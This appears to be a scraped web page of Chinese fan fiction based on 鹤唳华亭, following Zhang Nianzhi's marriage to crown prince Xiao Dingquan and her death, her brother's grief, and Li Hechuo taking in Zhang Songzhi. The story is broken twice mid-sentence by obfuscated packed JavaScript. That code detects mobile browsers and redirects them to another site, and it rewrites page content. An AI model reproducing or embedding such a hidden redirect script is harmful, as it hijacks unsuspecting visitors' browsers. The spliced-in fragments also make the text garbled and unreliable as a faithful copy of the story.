《[鹤唳华亭]佳想安善》 1. 流光容易把人抛 张念之在很小的时候便知道萧定权了。 其实这是再正常不过的事。他是国朝的太子殿下,未来的一国之君,而她又自幼身处京城,父亲更是在朝为官,若说对他一概不知,恐怕那才是件令人大跌眼镜的事。 京中女眷的生活其实格外简单,而她又是个娴静的性子,自然不会如别家女子一般,时时戴上幕篱便出府游玩,少时兴许还会这般去做,可随着年纪渐长,更多时候便只是待在家中,做做女红,绣绣花样——便如同这世间无数出身官家的女子一般。 可她的妹妹颂之却与她截然相反,非但性格跳脱,而且也几乎不似她那般事事皆受拘束,故而她活的不知要比她恣意多少。也是因此,关于太子殿下的种种事迹,她也多是从自家妹妹的口中得知而来。 于是久而久之,她便也如无数青春年华的妙龄女子一般,对那个注定要承受世人瞩目,要经受万千考验的太子殿下有了几分隐隐的憧憬与念想,甚至是几分难以言明的奢望。 不知他究竟会是个怎样风度翩翩、雅人深致的淑人君子……更不知未来有幸与他执手,此生不离,做他一生一世唯一妻子的那个人,究竟会是谁家的姑娘。 张念之从未想过,有朝一日自己与他的距离会如此之近。 她自己常在深闺,自是对外界中事所知不多,而朝堂之上的风起云涌,云诡波谲以及与爹爹同朝为官的那些人或真或假、或明或暗的算计与谋划更是与她不沾半点关系,因此无论生出何等变故,她都不会是第一个知晓的人。 因此当弟弟绍筠归家后寻到她,喜笑颜开地与她说起那桩事时,她首先却是愣在了那里,随即几乎是下意识的第一反应,与往常一般,对弟弟十之六七为信口胡说的话语回了一句“尚未定下,不可胡言乱语”。 可不知为何,她的心底好似有另一个与此截然不同的声音传来。她微微闭了闭眼,少时曾怀着最为美好的心绪设想过的那个面容一直被蒙在浓雾之中,完全看不真切的女子身前的那片浓雾仿佛忽然散了开来,而她则站在那片浓雾面前,微微眯起双眼,向前看去——看那女子衣饰华丽,笑颜如花,向她缓缓转过身来。 明眸皓齿,亭亭玉立,那赫然便是她自己的面容。 弟弟犹自在那里喃喃说着什么,无外乎是自己未来的姐夫如何如何,而他未来又该会怎样飞黄腾达,可她却已然尽数听不真切。她看似羞涩一般地转过头去,望着屋外的朗朗碧空,可那越来越快的心跳与逐渐泛红的双颊,以及那已然飘飞远去的思绪,就算能瞒得过旁人,却也是尽数瞒不过她自己的。 直到看着父亲接下那道圣旨,满脸堆笑地站起身来,张念之仍是不曾反应过来。 她原以为自己与那人的缘分,不过是弟弟的一厢情愿与胡说八道罢了,根本不会有成真的那一日。先不说太子殿下对她可有情意可言,光说她自己,一无超众之容貌,二无经世之才华,如何便能得到他那样一个天之骄子的青睐呢?那唯一一个配站在他身侧,与他结发的女子,那个曾在她的设想之中无数次现出她自己容颜的女子,怎么会当真便成了她呢? 若非眼前香案上燃着的线香那股隐约而清淡的味道仍旧传入她的鼻中,若非眼前的一切都委实太过真实,张念之当真要以为,这一切都是自己的一场梦境,只待大梦初醒,便了无痕迹。 拢在袖中的双手不知不觉攥得更紧,她迎着父亲与弟妹的笑容,娇羞一般的微微垂首,随即,却是笑得愈发展颜。 大婚当日,她穿着繁琐的礼服,端庄地做着那些已然在她脑海之中重复了无数遍的礼节与仪式。她能明显感觉到自己身边那人有些僵硬,却依然笔挺的身姿,能以余光瞥见他的每一个哪怕微小的动作,甚至还能听到他那微不可闻的呼吸声,可她却不敢抬起眼来看一看身侧的他,哪怕只有一瞬而已。 新房之中服侍的人已然尽数退了个干净,空旷的房中唯余他们二人。张念之愈发紧张,放于膝上的双手也于不知不觉间攥紧,先前已然被她极力压下的害怕之感此刻不知为何,又重新窜了上来,逐渐加深,逐渐侵入她的身心之中。 她不知接下来会发生些什么,她亦不知自己在身侧的男子眼底心中,究竟是个怎样的人,而他又会如何待她。她只知晓,无论他会如何处之,又会如何对待身边的她,她都唯有坦然接受这一种选择。 而后她听到身侧那人缓缓开了口,而他说话的语气却带着她先前从未想过的温和之感。 他说:“你不要怕,我会对你好的。” 这句极为简短的话语仿佛有什么奇妙的魔力一般,让张念之心中那萦绕不散的畏惧之意、嫁人离家的隐隐感伤与某些说不尽亦道不明的复杂情感尽数消散于无形,取而代之的则是几分莫名其妙的安心与沉静。 她原本还有些心神不定,可此刻,仿佛先前所有旁杂的情感都尽数化为无尽的勇气,终于让她抬起脚来,迈出了向他走近的第一步。 在盈盈的红烛跳动之中,在这个世间女子皆对此抱有无限遐想情思的“乐奏箫韶花烛夜”之中,张念之轻轻闭上了眼,任由自己沉浸在身前男子仿佛能浸入骨髓的温柔之中,再也无法自拔。 顾内人那句话果真说的没错,她想。这国朝的太子殿下,她的夫君,当真是个极为温柔的人。 “满堂兮美人,忽独与余目成。” 当萧定权眉眼含笑,一身挺括的红衣向她缓缓走来,声音抑扬顿挫地对着她念出那句话时,张念之的心仿佛被春风拂过一般,忽地暖了一瞬。 而当他坐在她的身侧,拿起眉笔为她画起眉毛时,她本来只是有些温暖的心,便已变为了灼热;而在她心中那片小小的天地之中,原本还零零散散现于其中的几片云彩此刻也均消散无踪,取而代之的则是惠风和畅、风和日暄。 她平素读的书唯有《女则》而已,因此当时并不知晓他对着她说出的那番话语究竟是何意思,只能从他望向她的那隐含情意的双眼与微微笑着的面容之中得知,那定然是些足以令人沦陷其中的美妙情话;而当她询问了身边那名为瑟瑟的女史,得知了那句话的真正含义之后,心底的那种隐隐的欣喜之感便骤然变为了难以言明的幸福。 直至如今,她也并不知晓自己何德何能,能够被他自那么多世家贵女之中挑选而出,做了这一国的太子妃;而她亦不曾知晓,原来他待她,除却她已然知晓的相敬如宾以外,竟还有着这般足以令人心醉神迷的情意。 既是如此,那她也一定要守护好他的后背,做好他的贤内助,让他再无后顾之忧。她一定不要让他就算身在朝野之外,不曾处于那般处处留心、时时在意的险峻环境之下,仍需要劳心费神,不得安宁。 她一定要竭尽所能,做好他的妻子,做好这个国家的太子妃。如此,方能不负他待她的好,方能不负这两日以来她所感受到的,先前从未想过的温柔——方能不负他——她的夫君,对于太子妃人选所最终做出的那个选择。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073505|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张念之望着铜镜之中,方才被那人所画出的眉,暗暗做了决定。 昏暗的产房之中血色弥漫,接生婆与侍女们仍在她的耳畔徒劳地唤着,企图能让她再用力些,企图能以此唤回她已然飘飞远去的神志,可张念之却是再提不起分毫力气来对她们的呼唤加以回答。 浑身的气力仿佛均被抽走,满脸泛着湿淋淋的汗水,张念之最后一次的试图用力最终仍是以失败告终。她似是用尽最后的力气一般,发出一声不似人声的痛呼,最终全身乏力,再提不起分毫精神,亦是再用不了半分力气。 产婆的声音之中已然带上了哭腔,在这满室的血光之中不知为何,反倒被已然是昏昏沉沉的张念之听了个真真切切。她伸出手来,有心想要安慰她一句,可时至最终,却仍是半个字也发不出来。 她的眼前如走马灯一般,缓缓现出无数的人和事,它们的影子在她眼中萦绕不散,久久不去,宛如她这短暂的一生。 少时她与女伴偕同出游,在大相国寺所见到的艳艳桃花;无数个日日夜夜她于闺房之中穿针引线,终于在手帕之上绣出的一品牡丹;家中那足以令她流连忘返的温暖与庇佑,爹爹的严厉肃穆,弟弟对她的安慰与关怀以及妹妹神采飞扬的笑声;成婚当日仿佛能传入天际的喜乐,她那身礼服的繁琐与隆重以及—— 以及那个轩然霞举、仪表不凡的男子,在新婚后第二日走向她时,脸上所带的那仿佛能令一切尽数沉溺其中的温和笑容。 张念之隐隐觉得似是有什么人握住了她那僵硬伸出的手,随即,那个极为好听,她也极为熟悉的声音便在她的耳畔响了起来,虽然因带着几分隐隐的颤抖而显得微弱,可在张念之听来,却是响亮如洪钟一般: “阿念,你别怕,会没事的——你和孩子都会没事的。” 他叫她别怕,如新婚当日一般,叫她别怕。可那时她还能以自己的行动与话语来回应他的安慰,此刻却是尽数做不到了。 张念之看着他,努力地扬起唇角,想给他一个微笑,可不知为何,原先那般痛都不曾掉落的泪水,此刻却是再也止不住。 屋内隐隐的哭声,鼻尖淡淡的血腥味以及浑身撕裂般的痛楚仿佛此刻均已消散无形,她的眼中与心中都只剩了他一个人。 他是哭了么?她想,在汗水与泪水交加之中,她仿佛看到了自他眼底掉落的那一滴泪,可当她再度凝神去看时,却又什么都看不真切。 她其实还有很多话想要对他说。 她想说,抱歉,本来想一直陪着你的,可最终却只陪了你这么短的时间便要先走一步;她想说,对不起,你那么盼望着孩儿的出世,我却没能生下他来;她想说,顾内人已然教了我不少《楚辞》与《诗经》,如此一来,我是不是离你更近了一些;她还想说,你别哭,你已经够苦够难,无需再为我而伤心…… 可临到最终,却仍是什么都说不出来,唯余顺着脸颊滑下的泪水,以及喉头泛出的隐隐哽咽。 萧定权似是又唤了一声她的小字,可张念之已然听不到了。最后的神志也已然飘飞远去,她唇边溢出一声极为微弱的叹息,随着最后滑下的一滴滚烫的泪水,她缓缓阖上了眼。 其实这样也好吧,最后,她疲惫却又安然地想着。 至少最后,他在她的身边,他握着她的手,他给了她最后的支撑与慰藉。 在最后这一刻能够见到他,黄泉的路,她至少也走得不会再如先前所想一般孤单。 2. 无用之梦 太子妃殿下于宴会之上中毒身亡的消息传来时,一向大大咧咧,仿佛世间万事万物都无法影响到他分毫的张绍筠难得的愣了神。 他先是直直懵在了那里,双唇剧烈地颤着,好似有无数话语想说,可临到最后,却都尽数化为无言。随即却是一把扯起跪倒在地,将这个消息告知于他的那人,挥起拳头就打了过去,嘴里一迭声地叫着“你骗人”。 那人怕得浑身颤抖,却又不敢当真躲开他的牵制,只得带着那未干的泪痕,苦着一张脸又将那句话重复了一遍。 张绍筠更为来气,心里不知为何,有一股无名烈火熊熊燃起。一时间冲动之下,他也再无顾忌——总归他平时本也就是天不怕地不怕,浑噩度日的性子——高扬起手,结结实实地扇在了那人的脸上。 “你骗人!你胡说八道!到底是哪个不要命的混账东西对我,对我们家如此仇视,从而才遣了你来?我告诉你,你知道我姐夫是谁吗?你知道他有多爱我姐姐吗?要是让他知晓你如此胡言乱语,他定会将你大卸八块,受凌迟之刑,永世不得超生!” 他平日虽说纨绔,可却也知晓一定分寸,几乎从不以如此严重的话语吓唬旁人,可此次当真是气极了,故而再也不会有所顾忌。那人抖得愈发厉害,却仍是半句话也说不出来,唯有哆哆嗦嗦,战战兢兢,不敢出一言以复。 “混账东西!”张绍筠见状更为恼火,扬起另一只手来,便想再扇他一掌,谁料,他的动作却被不远处传来的一声威严急切的中年男声亟亟喝止。 “还不住手!” 张绍筠回过头去,映入眼帘的便是自己的父亲张陆正。 他仍是身着一身官服,绯红的颜色衬得他的身形极为笔挺。可此时此刻,他的眼底却是漾着几分深深的悲伤与痛楚,不仅如此,且还有几分更为复杂,张绍筠自己无论如何也看不清,道不明的情绪。 “你先回去。”只见他疾步走来,先是向着那被张绍筠揪着衣领的人温言道,那人如蒙大赦一般,忙挣开张绍筠的束缚,慌慌张张地逃远。 随即,张绍筠便见他看向了自己,左手食指直直指着自己。依然是如寻常那般恨铁不成钢,甚至是呵斥一般的语气,可说出的话语之中所蕴含的信息,却是与他心底那最为不肯相信,最为不敢多想的事情不谋而合,完全相符。 “孽子,还在胡闹什么?你姐姐尸骨未寒,你如此胡作非为,还和过往一样半分不可收敛,是想让她连魂归地府,都不得安心吗?!是想让殿下于百忙之中,再腾出手来为你收拾烂摊子吗?!” 一语中的,如晴天霹雳一般,张绍筠“扑通”一声跌坐在地。 仿佛浑身的气力都已然被抽离,他身子软了半天,才勉强找回一丝力气。随即,却是扭头看向了府内某处花香馥郁的庭院——他姐姐出嫁之前的闺房所在之处。 他还记得,先前他每每从国子监下学,回到家中后总会去姐姐房中看一看她,与她说上些话。那时她穿针引线的动作是那般娴熟,扬起的笑容是那般温婉却又灿烂,而微微侧首,回答他的话语又是那般温柔动听,犹如天籁之音一般。 那曾是他心底留存至深的美好画卷,他一直认为时至最终,时至他已然垂垂老矣,齿发动摇,亦不会忘却分毫。 那是他的家,是他的归处,亦是他在游戏人间之中,心底所一直留存的温暖所在,他又如何忘得了呢? 他一直以为,姐姐虽然已经出嫁,可却也仍在京城,而他身处国子监,距离亦是不远,只要他有闲,只要他能,总还能前去看一看她。可是如今,他却是无比清楚地明白,这幅画卷,再也没有实现的机会——此生此世都不会再有了。 他一直默了良久,直至望着姐姐闺房的双眼被迎面洒来的阳光刺得泛起微微的痛楚,直至一直颤抖的指尖逐渐颤得愈发厉害,直至他自己已然泪流满面,他都不曾再如先前那般,叫嚷胡闹,尽显官家纨绔子弟所固有的嚣张之态——这是过去的岁月之中,从未有过的事。 时至最终,他却也只是捂住了脸,任由不该随意自他眼中落下的泪水从指缝之间流出,砸在地面之上,发出一声声沉重的闷响,轻而又轻,仿若平日一般,低低唤了一句。 “姐姐……” 张绍筠一直认为,自己的姐姐是天底下最好最好的人。 爹爹一门心思扑在朝堂中事上,自然没有多少工夫来管教于他;而娘亲又走得早,故而姐姐张念之一早便担了娘亲的角色,而待他,亦是如姐如母一般,给予他最为温暖的关怀,与最为美好的呵护。 他出身官家,而父亲在朝中官职又不低,故而他自幼便纨绔不羁,挥金如土。斗鸡走马,赌场花楼,他都是做过的,亦都是去过的。而狐朋狗友,穿梭于各个风月场所的“朋友”,他也都是有的。他自己将此叫做“广交天下好友,行遍京中各地”,对此颇为洋洋自得,并不以为意,可父亲却是对他极为恨铁不成钢。有时他看父亲看他的样子,总觉得下一刻,他便要扬起手来,重重抽上他的脸颊;又或是立时扬声唤人拿来家法,狠狠责罚他一顿。每当想到这些,他都会难得的有些后悔,内心暗想自己怎么就那么不知收敛,怎么就不能守些规矩,可那些他曾设想过的责罚却没有一次真正落到过他的身上,一次都没有。 因为姐姐。 她好似世间最为温柔的女子,每当父亲怒不可遏时,她总会及时出现,妙语连珠,几句话说下来,就能让父亲登时消了怒气。张家家规森严,故而姐姐为人也极为守礼温婉,这么多年来张绍筠甚至都不曾见她大声说过一句话,可她却偏就有能令父亲消气的办法。每当父亲脸色缓和些许,她总会自身后向他悄悄挥手,示意他快些离开;而他便也从善如流,快步离去, 可心底却不知为何,美滋滋的。 姐姐常常看着他一脸迷糊而又纨绔的样子扶额叹气,说他何时才能懂些事;可他却总觉得这样便已是再好不过,何须再行懂事?朝中有父亲,家中有姐姐,至于他嘛,只要不令姐姐过于忧心,护着家中的妹妹平安无虞,做自己想做的事,那便是再好不过。 姐姐出嫁那日,张绍筠难得惆怅了些许。 他幼时无知,尚且不懂何为“出嫁”,只固执地拽着姐姐的手,一副保护的姿态,言道要让姐姐在家陪他一辈子。那时的父亲不似如今这般严肃,身处家中之时,总会露出些于外难得一见的温情,见他说如此孩子气的话语,只会无奈地摇摇头,却也不曾呵斥于他;而那时的姐姐却是微垂了头,双颊飞红,一副娇羞的模样。 那时他还不曾明白姐姐为何会现出如此情状,后来,他这才终于明白过来。 姐姐不可能留在家中陪着他一辈子,亦不可能如他所想那般,一直如幼时那般,护着他,宠着他,等待着日后他有了能力,再来接受他的保护。 他后来曾想过好几次,自己未来的姐夫会是什么样子,又会是谁家的公子。他一直觉得姐姐这般好,总要嫁一个世间最好的男子,如此才不算是委屈了她——甚至在他看来,世间绝大多数的男子,都是配不上她的。在得知姐姐可能成为太子妃后他委实高兴了好久,一来是觉有未来姐夫撑腰,自己未来行事定当更加可以无所顾忌,随心所欲;二来,也是因为姐姐嫁予太子,此后身份更加尊贵,也就不会再有人敢于欺负她;而太子为人定然也不差——他在国子监中时,曾听嘉义伯顾逢恩念叨过不少次他这个表弟究竟是如何优秀,他虽说不是特别看得上顾逢恩,却也清楚他的出身,亦是明白,事涉太子,他不会胡言乱语。 他想了那么多,却也不曾想过,原来姐姐的夫君,他的姐夫,便是那个曾在刑部大牢被他嫌弃一般地问究竟是何人的男子,便是那个救了陆文普,随即又将他踹进水里,让他愤愤不平了好些日子,嚷着定要让他好看,却寻遍了京城也不曾找到的男子;便是那个在陆家想要搭救陆文晋,神情冷峻,手握长鞭,仿佛下一刻便要向他抽过来的男子。 那时他震惊当场,足足半晌不曾回过神来,可随即之后,却是遍体生寒。 他不知自己先前嚣张跋扈的行为究竟有没有被他记在心里,他亦不知如若当真如此,他可是如自己先前对他那般,势要让他付出应有的代价才肯罢休;他更不知晓,姐姐嫁过去之后,究竟会不会因为他先前的行为而受到冷落,受到慢待,甚至受到来自君王的迁怒。 他不敢赌,他不敢拿姐姐一生的幸福去赌,他亦不敢以自己少得可怜的直觉,去与国朝的太子殿下,姐姐于闺中设想已久的夫君去赌。 因此,他最后心一横,眼一闭,如豁出去一般,在太子登车之前横冲上前,向着那一身衮冕的男子重重地跪了下去。 死便死吧,无论什么惩罚,他都认了,他都受着。只求,姐姐的幸福不要因他一时的嚣张无知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073506|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而受到无可挽回的影响。 张绍筠如此想着。 张念之出殡那日,张绍筠并未前去。他只是穿了身素色的团领袍,站在家中庭院的秋千之前,仰首望着灰蒙蒙一片的天空,良久未动。 姐姐出嫁之后,他便如先前所设想过的那般,时常前去瞧一瞧她,看她如身处家中之时,握着针线做些针线活儿。幼时他便觉得,姐姐的手艺是天下无双的绝妙。他少年之时因着贪玩,不小心划坏了袍子,生怕爹爹责罚,便苦着脸去寻姐姐,姐姐先是无奈地叹了口气,如先前一般,说,你究竟何时才能让我省心,随即却也不曾怪罪于已然低垂下头去的他,只是拿起针线,仅两三下,便将他那已然破损,在他看来早已不可能再进行补救的衣衫补好,若不细看,根本瞧不出半分端倪。 那时他看得双眼发直,一片震惊,只觉姐姐是天底下最为厉害的人。 而姐姐出嫁之后,仍是如在家那般,动着针线,绣出一幅又一幅活灵活现的绣品。他瞧着那精美的刺绣,看着姐姐在他提及姐夫时眼底眉间流露出的隐隐笑意与幸福,却也终究不曾忍住,随着她一同笑了起来。 就算他并未中榜又如何呢?就算他在国子监中资质平平又如何呢?就算他被父亲骂道草包,扶不上墙又如何呢?只要姐姐平安无虞,与姐夫幸福安乐地过着日子,平安美满地走下去,那么他便已然心满意足。 再说,再过些时日,他都要做舅舅了。一想着未来的日子,会有一个扎着总角的男孩或是女孩,拉着他的手仰头望着他,甜甜地唤着他舅舅,张绍筠就觉得,自己大抵会是这天下极为幸运的人。 他一直坚信定会如此,而他的这番美满愿景也定然会实现成真。就算后来他被人诓骗,卷入军马案中,被杖了八十,险些晕死过去,也不曾放弃过这个希望。 可他却不曾想过,时间向来,只留遗恨,不会留人。 他的姐姐,他的外甥,他心底家园的一部分——且是在他心中,最为重要的一部分,就这样在宫廷阴谋之中,永永远远地消失不见。 终此一生,他也再寻不着。 庭院之中空空荡荡,一个人都没有。微风拂过,将院中的秋千吹得微微荡起来。张绍筠看着秋千,平日里总是或憨憨而笑,或气急败坏的面容如今却是带着些许悲伤,些许无奈,更多的却是对往事,对离人的思念与追忆。 他昨日去求了他的姐夫,太子萧定权,将姐姐幼时为他绣的一条抹额放入了她的棺椁之中。姐姐常为他,为妹妹绣上些东西,每每绣好,总会让他们惊叹不已,赞叹于姐姐的手艺高超。而如今,她即将入葬,去往那遥远的地府,他只希望,那条抹额能权当作是他,是妹妹,是姐姐短暂一生之中牵之挂之的家人,陪伴在姐姐的身侧,让她最后,也可以在另一个层面之上,得以归家,得以回到她数载不曾走出的家中。 他慢慢走过去,坐在了秋千之上,轻轻荡了起来,庭院之中的落叶随着萧瑟的秋风飘飞起来,如偏偏枯黄的彩蝶,于空荡的院中舞出生命之中最后的华章。 记得小时候,他与妹妹最爱于此处荡秋千,姐姐更多只是手拢于袖站在一旁,含着笑望着他们二人笑闹,只时不时叮嘱一句注意安全,不要玩闹太过,却从未走上前来,与他们一同玩耍。直至又一次姐姐过生辰,他们二人心生一计,将姐姐诓来了秋千此处,而后撒娇耍赖,势要让她也玩上一次才肯罢休。最后姐姐实在拗不过他们,无奈地笑着,最终坐上了秋千。 他们二人在后面推着她,秋千开始随着他们的推动晃起来,越晃越高,越晃越高。姐姐起初还有些怕,手紧紧攥着绳索,紧张至极,可随即却逐渐放了开来,睁开了眼,轻轻笑出声来。姐姐的轻笑与他们的笑闹声融成一体,飞扬在家里的庭院中,仿佛一辈子都不会消散。 秋千荡到最高处时,张绍筠睁开双眼,向着更高处的灰蒙天空望了过去,仿佛又看到了姐姐,还是未嫁时的模样,坐在秋千之上,手攥着秋千两侧的绳索,一晃一晃地荡着,逐渐荡得高了起来。 “姐姐,别怕!抓稳了,有我在,不会让你有事的!”他喊着。 随着这一声喊出,她回过头来,眼底的笑容仿佛最为绚烂朝阳。 那秋千听话地荡起来,往天上去了。 秋风吹拂,将她的百迭裙与苏绣衣缘的长褙子吹得飘飞起来,遥遥望去,就像是在花中。 3. 形影相附(一) 李和绰其实并不喜欢张颂之。 这是必然的事。无论对方心底情愿与否,无论这个广川郡王侧妃的身份究竟是否为她自己求得,在名义之上抢了她夫君的人,她又如何能喜欢的起来? 因此在得知张颂之嫁予萧定棠为侧妃已是板上钉钉之事时,李和绰着实发了好一顿脾气。 她先前为家中独女,且又为父亲的老来女,自然是自幼便受万千宠爱。父亲虽在朝野之上有着极高的威望,甚至他只消跺一跺脚,清一清嗓,便会有人战战兢兢,如履薄冰,不敢出一言以复。后来她嫁给萧定棠,萧定棠也宠着她,从未让她受过半分委屈,亦不曾让她承受半分这个世道之下女子所必须要承受的责任与劳累。因此她一直认为,或者说是坚定不移的深信,她李和绰的夫君,无论是位极人臣,还是皇亲贵胄,这一世都只能有她一个妻子——亦只会有她一个女子相伴在侧。 可当原本富丽堂皇的家变得破败不堪,当那些她早已看惯了的名草名木被人粗暴地踩踏折损,当她坐在萧定棠身边,看着身旁夫君眼底的光芒一点一点熄灭,听着紧闭的府门前那听似恭敬,实则却是漫不经心的话语,听着萧定棠似泄愤,又似绝情一般的吼声,听着来人那句轻描淡写的“家已经被抄了”,她心底原本积攒已久的怨愤忽然就散了个干干净净。 她忽然就想到了自己。 那个父亲被斩杀,夫君不在身侧,无家可归,无人相助的自己。 若是站在门前的人是自己,若是听到萧定棠那番话的人是自己,若是亲耳听着别人以如此漫不经心,而又满含鄙夷的口气说起自己家情况的人是自己,那该会有多心痛,多悲伤,又该有多—— 绝望。 况且,她对张陆正的那种恨不得生啖其肉,饮其血,抽其筋再加以挫骨扬灰的深切恨意固然绝不会消散,可这又与张颂之有什么关系呢?她李和绰是与张陆正有着不共戴天之仇,可张颂之归根结底也只是个闺阁中的姑娘,一不曾入朝为官亲历朝局风起云涌,二不曾加害她父亲使得她家破人亡,况且张陆正已然伏法,身死魂消,她的家仇已报,仇人已亡,又怎该将自己对于张陆正的恨意再行转移到他的儿女身上? ——况且,还是转移到一个刚刚经历过先前如日中天的张家轰然倒塌的巨大变故,刚刚失去了父亲,刚刚与兄长生离……也是刚刚在这看似繁华,实则冰冷刺骨,初初险恶的京中再无依靠,再无亲眷,真真正正地变成孤家寡人的女子身上。 转移到一个与她有着相似经历,且还同病相怜的女子身上。 这样的事,她是绝对做不出来的。无论是因着她一直以来的处事原则,是因着她心底愈发强烈的那股怜悯之意,还是因着她在这短短的几炷香时间之中,从门外那个孤苦伶仃的女子身上所见到的,与她的那些令人心酸的相似之处。 “让她进来吧。”李和绰听到自己开了口,声音之中带着深深的疲惫。 王府紧闭的门随着她这并不大的一声而缓缓打了开来,李和绰站起身来,随着门外那片天地在她眼前的逐步呈现,她也第一次看到了那个女子——那个她曾为之大闹一场,于心底发誓绝不与她共侍一夫的女子的模样。 她穿着件玫红色的对襟广袖衫,配着近乎同色的齐腰裙,戴了顶常见的金冠,颊边胭脂艳艳,唇上口脂鲜红,确是一副新嫁娘最为标准的模样。 如若不是此刻的场合如此不合适,如若不是见到了她眼底深藏着的哀愁与未来无期的迷茫,如若不是她将会成为她夫君的侧妃,如若她不是张陆正的女儿,李和绰怕是当真要拍掌赞上一句,秀色掩今古,荷花羞玉颜,眼前的这位姑娘,当真是个美人儿。 而后萧定棠仿佛忽然自怔忡间清醒过来,眼底的迷茫与空洞仿佛于刹那之间焕发出了回光返照般的光彩,以极快的速度冲出了开启不久的大门,跃上一匹马便飞驰而去,看方向,却是向宫门去了。他此刻这般行为,可谓是对那道圣旨彻彻底底的藐视。因此他这一动,顿时将王府门前看守他们的士卒尽数惊动,一个个喊着“郡王擅自出府,按抗旨论”,纷纷提剑上马,追了上去。它们的速度极快,不过一瞬光景,王府门前便只余李和绰与张颂之二人。 李和绰看着眼前的红衣身影。就算是先前得了她的准许,张颂之如今却也仍是呆呆站在原地,面上表情呆滞而又无措,平静如一潭死水,任旁人如何伸手波动也再泛不起分毫涟漪。残阳如血,她身上的红色衫子在夕阳的照耀之下显得愈发夺目,宛如那天边绚丽的残霞,艳丽到了极致,却也凄婉到了极致。 李和绰扬起唇,向她露出一个笑容,随即向前走了一步,迎着已然渐渐褪去的残阳,对着眼前那正处于青春年华的少女伸出手来,似是邀请一般——请她与她一起,走上那条相依为命,而又决计不返的离京之路。 “进来吧,”她说,“外面冷。” 然后她看到张颂之眼底的泪水于那一瞬间滑落下来,仿佛夜空之中一闪而过的流星,将天边那道绚烂的霞光划出了一道极深极深,却又一闪而逝的痕迹。 最终,那道泪痕干涸于她那虽化浓妆,却亦是显得有些惨白的脸颊之上。 张念之在手上为父戴孝这件事,李和绰最初也是不知道的,实际上所有人一开始都不知道。 虽说他们一路上都急着赶路,狼狈居多,从容有序居少,可萧定棠终究也是个皇子,就算失宠被赶离京,却也是无人敢于在明面之上有所怠慢。张颂之身为他的侧妃——虽然他从未承认过,自然也可享受旁人的服侍。而她自己似乎也是知道自己身为侥幸保住性命的罪臣之女,并不受旁人欢迎,所以几乎甚少在外人面前露面。 也是因此,她原本可以一直瞒下去的——如果那一日她并未抬手饮茶,萧定棠的目光也并未恰恰投射到她的手腕之上的话。 刚看到那根细细的粗麻线时萧定棠尚未反应过来,只扫了一眼便移开了目光。可随即,却忽然明白了那究竟是什么,原本淡然死寂的眼神却仿若被烈火骤然点燃一般,忽地亮起光来。 只是这光芒却是满含着愤怒。 “拿下来!”李和绰本来并未向他们这个方向看,而只是望着那遥远而又湛蓝无云的天际发呆,待她听到萧定棠愤怒的嘶吼,下意识回头看去之时却见萧定棠紧紧抓着张颂之的手,双眸之中自被贬离京后首次现出了与先前的听天由命截然不同的怒气滔天。 他死死盯着张颂之手腕上的那条细线,一字一顿,仿佛面前的女子并非他名义上的侧妃,而是他不共戴天的仇人,是他倾尽毕生之力,也要一举击杀的人。 他看着张颂之的眼神宛如自地狱之中浴火归来的厉鬼,再不掺杂半分温度。张颂之大抵是从未见过这般可怕的眼神,骇得浑身微微发着颤,萧定棠拽着她腕子的手又于盛怒之下用了全力,她痛的紧咬嘴唇,却亦不肯出上一声,说上一句话,服上半分软。 “好啊,你不肯是吧?不过是个罪臣之女,借此苟且偷生,得了半条命好活罢了,还真当自己是本王名正言顺的侧妃了不成?”萧定棠自幼受宠,虽说今时不同往日,可他身边之人,除却李和绰外,基本上也都是对他言听计从,还从未如此次一般受挫。他心底对于离京之藩,远离双亲等等一系列的郁结于心顿时尽数发泄出来,且他平日便从不以君子自居,虽说不轻易动手,却也并没有什么不打女子的原则,登时便扬手欲打。 张颂之也不试图去躲,只闭了眼,先前便已因痛楚而紧紧攥起的双拳攥的更紧了些,一副认命的姿态,等待着即将袭来的凌厉掌风,以及即将深切感受到的,脸颊之上的深切痛楚。 谁料,她本以为无论如何也逃不过去的那一掌却并未真真正正批到她的脸上。 “大郎!算了!”千钧一发之际,是李和绰猛地冲上前来,死死拉住萧定棠的胳膊,硬生生止住了他的掌风,亦避免了眼前的佳人遭受那令人屈辱的一掌之痛。 “阿绰,是她——”萧定棠回过头来,如不可置信一般看着李和绰,默了一瞬方才再度开口,语气之中亦满是意外与强调,“是她的父亲害了岳丈,而我们落到如此地步,与张陆正亦有着很大的干系!可你瞧瞧她——” 他说着,猛地指向一旁的张颂之,眼底因着怒气而微微泛起红色,如冥府之中的红莲业火,瞬间便能燃尽这世间一切阻挡到他的人或事,“她竟还能、她竟还敢,为张陆正戴孝!” 张颂之的手攥的更紧了,应是用了极大的力气,自李和绰这个方向瞥过去,仿佛已能看到微微泛起的青筋。那麻线本就系的并不算十分牢靠,而萧定棠身为男子,力气本就大,而先前又与她一番拉扯,早就已然渐渐变松,而不知是天意如此还是恰好巧合,正当萧定棠怒气盈盈的话语尾音落下的那一刻,她腕上的那根脆弱的线绳——她为她父亲所戴的孝,如失了线的风筝一般自腕上松开,轻轻掉落在地。 而在那线掉落的同时,张颂之眼底一直蓄着的两行泪也不争气地落了下来。 “可这和她有什么关系?”李和绰看了泪眼盈盈的张颂之一眼,却是依然拽着萧定棠的手腕,生怕 